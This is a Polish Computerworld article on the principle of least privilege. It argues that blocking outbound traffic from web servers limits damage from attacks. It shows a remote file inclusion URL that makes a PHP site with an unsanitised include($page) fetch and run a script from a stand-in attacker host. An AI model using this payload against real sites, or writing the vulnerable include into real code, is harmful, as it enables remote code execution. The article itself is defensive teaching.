Zapraszamy do włamania

Zasada najmniejszych przywilejów to truizm, dla ignorowania którego wymyślono niezliczoną liczbę wymówek. Odstępstwo od niej, czy tego chcemy, czy nie, jest jednak de facto podpisem pod zaproszeniem do włamań i innych naruszeń bezpieczeństwa systemów informatycznych.

Zasada najmniejszych przywilejów to truizm, dla ignorowania którego wymyślono niezliczoną liczbę wymówek. Odstępstwo od niej, czy tego chcemy, czy nie, jest jednak de facto podpisem pod zaproszeniem do włamań i innych naruszeń bezpieczeństwa systemów informatycznych.

Jednym z fundamentów dobrej praktyki w dziedzinie bezpieczeństwa informacji jest zasada najmniejszych przywilejów (ZNP, ang. principle of least privileges). Mówi ona, że obiekt, np. użytkownik, system, moduł czy funkcja, powinien mieć możliwe najmniejsze przywileje, wystarczające do wykonania jego zadań. Zasadę tę należy stosować w odniesieniu do bezpieczeństwa w ogóle, a do bezpieczeństwa systemów informatycznych w szczególności. Wydawać by się mogło, że zasada najmniejszych przywilejów jest logiczna i prosta do wprowadzenia w życie. W praktyce nie jest to jednak oczywiste. Co gorsza, występują poważne problemy z jej uwzględnianiem już w fazie projektowania aplikacji, w fazie ich wdrażania, a także podczas ich eksploatacji.

Nieprzestrzeganie zasady najmniejszych przywilejów, choć dla wielu to może nieoczywiste, bywa źródłem ataków sieciowych i awarii systemów. I odwrotnie: przestrzeganie zasady na wszystkich warstwach infrastruktury sieciowej, systemowej i aplikacyjnej, stanowi jej system "immunologiczny", pozwalający jej funkcjonować nawet wtedy, gdy jej część ulegnie "chorobie". Nawet bowiem jeśli w jednym z elementów środowiska informatycznego istnieje jakaś podatność, ryzyko z nią związane jest wtedy niewielkie ze względu na ograniczone przywileje kontekstu, w jakim podatność ta się objawia.

W dalszej części artykułu omówię stosowanie zasady najmniejszych przywilejów dla środowiska, w którym działają aplikacje, a także dla samych aplikacji. Jej praktyczne znaczenie jest tak duże, że warto powtarzać jej zalety i konieczność stosowania jak mantrę. Być może skłoni to choćby część osób do jej stosowania, czy też szerszego stosowania w budowanych rozwiązaniach, a także użytkowników rozwiązań do ich weryfikacji pod kątem zgodności z jej założeniami.

Zarzucanie sieci

Zasadę najmniejszych przywilejów chyba najłatwiej jest zrozumieć na przykładzie firewalla. Zrozumiałą i powszechnie stosowaną zasadą konfiguracji systemów zaporowych jest udostępnienie w sieciach zewnętrznych tylko tych usług, które są niezbędne. Przykładowo, do serwera WWW dopuszczany jest wyłącznie ruch kierowany na port 80 i 443 TCP, a więc niezbędny do funkcjonowania serwera WWW. Jest to najprostszy przykład stosowania zasady najmniejszych przywilejów i z reguły w tym kontekście jest ona przestrzegana w większości współczesnych systemów informatycznych.

Zgoda, jaka panuje, gdy mowa o ruchu przychodzącym, pryska, gdy zaczynają się rozważania o ruchu wychodzącym. Przykładowo, typowy serwer WWW z aplikacją internetową nie ma potrzeby inicjowania połączeń do Internetu - jego immanentną cechą jest bowiem odpowiadanie na wywołania inicjowane gdzie indziej. Jedyne połączenia inicjowane z takiego serwera to połączenia z serwerem bazodanowym lub serwerem aplikacyjnym działającym wewnątrz sieci firmowej oraz zapytania do serwera DNS.

O ile filtrowanie ruchu przychodzącego jest powszechnie zrozumiałe, ktoś mógłby zapytać, co daje ograniczenie ruchu wychodzącego? Posłużmy się przykładem:

Witryna internetowa firmy X jest zaimplementowana przy użyciu PHP. Składa się ona z sekcji "firma", "produkty", "usługi", "kontakt". Całość jest obsługiwana przez jeden główny skrypt index.php, który dba o formę, w jakiej są prezentowane informacje, natomiast sama treść jest pobierana z plików tekstowych o nazwach "firma", "produkty", "usługi", "kontakt". Jest to typowa metoda stosowana przez twórców prostych aplikacji typu CMS (Content Management System), ponieważ umożliwia to właścicielowi aplikacji proste modyfikowanie treści bez konieczności znajomości HTML. Treść z plików jest włączana w głównym skrypcie za pomocą instrukcji typu: include($page), a ścieżki URL prowadzące do poszczególnych podstron wyglądają następująco:

index.php/page=firma

index.php/page=produkty

index.php/page=uslugi

index.php/page=kontakt

Wygląda to na logiczną i przejrzystą strukturę. Niestety tego typu proste aplikacje CMS są podatne na atak polegający na podaniu jako parametru "page" ścieżki URL do skryptu php intruza, np: index.php/page=http: //serwer.hacker.pl/hack.php Skrypt taki zostanie pobrany z serwera intruza i wykonany na atakowanym serwerze w kontekście atakowanej aplikacji. Jest to dość powszechnie stosowana metoda ataku na aplikacje internetowe. Jeśli środowisko sieciowe takiej aplikacji zostało skonfigurowane zgodnie z zasadą najmniejszych przywilejów i firewall blokuje wszystkie połączenia wychodzące kierowane do sieci zewnętrznych, serwer WWW nie będzie mógł pobrać z Internetu skryptu napisanego przez intruza.

Powyższy przykład dobrze ilustruje działanie zasady najmniejszych przywilejów. Likwidacja pozornie niegroźnych, ale zbędnych przywilejów nie usuwa podatności, ale znacznie utrudnia zadanie intruzowi. Z tego właśnie względu należy możliwie precyzyjnie ograniczać przywileje i traktować każdy zbędny przywilej jako podatność, gdyż nie jesteśmy w stanie przewidzieć wszystkich metod ataku na aplikacje i sytuacji awaryjnych, w których skorzystanie ze zbędnego przywileju może wiązać się z bezpośrednim zagrożeniem.

W celu komercyjnej reprodukcji treści Computerworld należy zakupić licencję. Skontaktuj się z naszym partnerem, YGS Group, pod adresem [email protected]

TOP 200